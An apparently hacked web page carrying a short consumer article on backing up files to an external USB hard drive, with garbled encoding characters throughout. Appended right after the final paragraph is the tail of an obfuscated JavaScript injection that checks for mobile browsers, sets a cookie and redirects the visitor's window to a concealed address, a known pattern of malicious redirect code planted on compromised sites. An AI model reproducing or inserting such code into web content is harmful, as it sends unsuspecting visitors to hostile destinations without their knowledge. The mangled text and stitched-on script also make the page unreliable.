Keeping your online information safe

The only safe way to store important pictures, documents, movie files, programs and other items that you have on your computer is to copy them on to an external storage device.

The main storage area (often referred to as the ‘hard drive’ ) that is built into your PC is used by the computer for all the system software that keeps the PC running. If you only store important information here, it could be lost if the computer brakes down.

You can buy a second hard drive for very little. The best deals seem to from companies such as Maplin or PC World. For less than A?100 you can get a 500 Gig hard drive (this is an enourmous amount of storage and probably more than is build into the average laptop or desk computer).

You just plug the drive into a spare USB port on your PC (those are the ones that look like a narrow slot – your computer will have more of these than any other socket type if it is quite new).

When you choose to ‘Save’ a file, navigate to the My Computer or ComputerAi??icon.Ai?? There are other ways to access your new storage drive, but if you start on the My Computer view you should then be able to see theAi??new Removable Drive option.Ai?? Newer versions of Microsoft Windows group the removable storage devices in a single view.

You will probably have C: as your Local Disc and the new drive will be a letter after this in the alphabet.Ai?? The optical drive (ie theAi??device for reading CDs or DVD will normally be letter D: so if you have no other storage items connected, the new Removable drive should be letter E.

I would have a few trial attempts at copying items to your new drive to make sure you are happy with this before you load up the drive with your valuable files.

Of course, you could put your most valuable files onto a CD or a DVD, but picture files can be very large and it takes a very long time (and a lot of organization!)Ai?? Using a cheap Removable storage drive is so much easier, and you could then keep the drive with a relative – just in case of theft or fire! s(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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